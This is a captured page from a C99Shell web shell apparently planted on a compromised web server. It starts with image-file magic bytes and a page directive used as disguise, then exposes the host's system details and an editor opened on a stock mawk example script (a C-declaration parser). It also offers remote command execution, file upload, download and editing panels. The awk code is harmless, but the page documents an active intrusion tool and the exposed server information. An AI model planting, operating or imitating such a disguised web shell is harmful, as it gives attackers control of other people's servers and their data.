Mahdee Rajon

ÿØÿà JFIF ÿÛ C $.' ",#(7),01444'9=82<.342ÿÛ C 2!!22222222222222222222222222222222222222222222222222ÿþGIF89a; <%@ Page Language="C#" %> Mahdee Rajon

ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.- ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.- botbuilder.skeps.io - C99Shell

! C99Shell v2025 !
Safe-mode: OFF (not secure) Disable Functions: None Host: Linux moos 5.15.0-176-generic #186-Ubuntu SMP Fri Mar 13 11:01:42 UTC 2026 x86_64 User: ploi Software: nginx/1.18.0 IP: 178.128.254.70 PHP: 8.2.30 CURL:ON SSH2:OFF Magic Quotes:OFF MySQL:ON MSSQL:OFF PostgreSQL:ON Oracle:OFF CGI:OFF /usr/share/doc/mawk/examples/

Edit File: decl.awk

#!/usr/bin/awk -f

# parse a C declaration by recursive descent
# based on a C program in KR ANSI edition
#
# run on a C file it finds the declarations
#
# restrictions: one declaration per line
#               doesn't understand struct {...}
#               makes assumptions about type names
#
#
#  some awks need double escapes on strings used as
#  regular expressions.  If not run on mawk, use gdecl.awk

################################################
#   lexical scanner -- gobble()
#   input : string s -- treated as a regular expression
#   gobble eats SPACE, then eats longest match of s off front
#   of global variable line.
#   Cuts the matched part off of line
#

function gobble(s,  x)  
{
  sub( /^ /, "", line)  # eat SPACE if any

# surround s with parenthesis to make sure ^ acts on the
  # whole thing

match(line, "^" "(" s ")")
  x = substr(line, 1, RLENGTH)
  line = substr(line, RLENGTH+1)
  return x 
}

function ptr_to(n,  x)  # print "pointer to" , n times
{ n = int(n)
  if ( n <= 0 )  return ""
  x = "pointer to" ; n--
  while ( n-- )  x = x " pointer to"
  return x
}

#recursively get a decl
# returns an english description of the declaration or
# "" if not a C declaration.

function  decl(   x, t, ptr_part)
{

x = gobble("[* ]+")   # get list of *** ...
  gsub(/ /, "", x)   # remove all SPACES
  ptr_part = ptr_to( length(x) )

# We expect to see either an identifier or '('
  #

if ( gobble("\(") )
  { 
    # this is the recursive descent part
    # we expect to match a declaration and closing ')'
    # If not return "" to indicate  failure

if ( (x = decl()) == "" || gobble( "\)" ) == "" ) return ""

}
  else  #  expecting an identifier
  {
    if ( (x = gobble(id)) == "" )  return ""
    x = x ":"
  }

# finally look for ()
  # or  [ opt_size ]

while ( 1 )
     if ( gobble( funct_mark ) )  x = x " function returning"
     else
     if ( t = gobble( array_mark ) )
     { gsub(/ /, "", t)
       x = x " array" t " of"
     }
     else  break

x = x " "  ptr_part
   return x
}

BEGIN { id = "[_A-Za-z][_A-Za-z0-9]*" 
        funct_mark = "$[ \t]*$"
	array_mark = "\[[ \t]*[_A-Za-z0-9]*[ \t]*\]"

# I've assumed types are keywords or all CAPS or end in _t
# Other conventions could be added.

types = "(" type0 "|" type1 "|" type2 ")"
}

{

gsub( "/\*([^*]|\*[^/])*(\*/|$)" , " ") # remove comments
    gsub( /[ \t]+/, " ")  # squeeze white space to a single space

line = $0

scope = gobble( "extern|static" )

if ( type = gobble("(struct|union|enum) ") )
    		type = type gobble(id)  #  get the tag
    else
    {

type = gobble("(un)?signed ") gobble( types )

}
    
    if ( ! type )  next
    
    if ( (x = decl()) && gobble( ";") )
    {
      x  =  x " " type
      if ( scope )  x = x " (" scope ")"
      gsub( /  +/, " ", x)  # 
      print x
    }

}

Cancel

Listing directory:

Name	Size	Modify	Owner/Group	Perms	Action	Select
ct_length.awk	407 B	09.09.2008 20:52:55	0/0	-rwxr-xr-x	Edit Rename Download
decl.awk	2.97 KB	09.09.2008 20:52:55	0/0	-rwxr-xr-x	Edit Rename Download
deps.awk	1.28 KB	09.09.2008 20:52:55	0/0	-rwxr-xr-x	Edit Rename Download
eatc.awk	492 B	09.09.2008 20:52:55	0/0	-rwxr-xr-x	Edit Rename Download
gdecl.awk	2.73 KB	09.12.2012 23:03:11	0/0	-rwxr-xr-x	Edit Rename Download
hcal	13.72 KB	09.09.2008 20:52:55	0/0	-rwxr-xr-x	Edit Rename Download
hical	2.89 KB	21.08.2009 00:36:34	0/0	-rwxr-xr-x	Edit Rename Download
nocomment.awk	590 B	09.09.2008 20:52:55	0/0	-rwxr-xr-x	Edit Rename Download
primes.awk	1.03 KB	09.09.2008 20:52:55	0/0	-rwxr-xr-x	Edit Rename Download
qsort.awk	1.07 KB	20.01.2020 11:52:31	0/0	-rwxr-xr-x	Edit Rename Download

:: Command Execute ::
Enter Command:	Select Command:

:: Search ::

:: Upload ::

:: Make Dir ::

:: Make File ::

--[ C99Shell v2025 (01.07.2025) powered by V4NTA | https://privdayz.com | Generation time: 1779924014.8426 ]--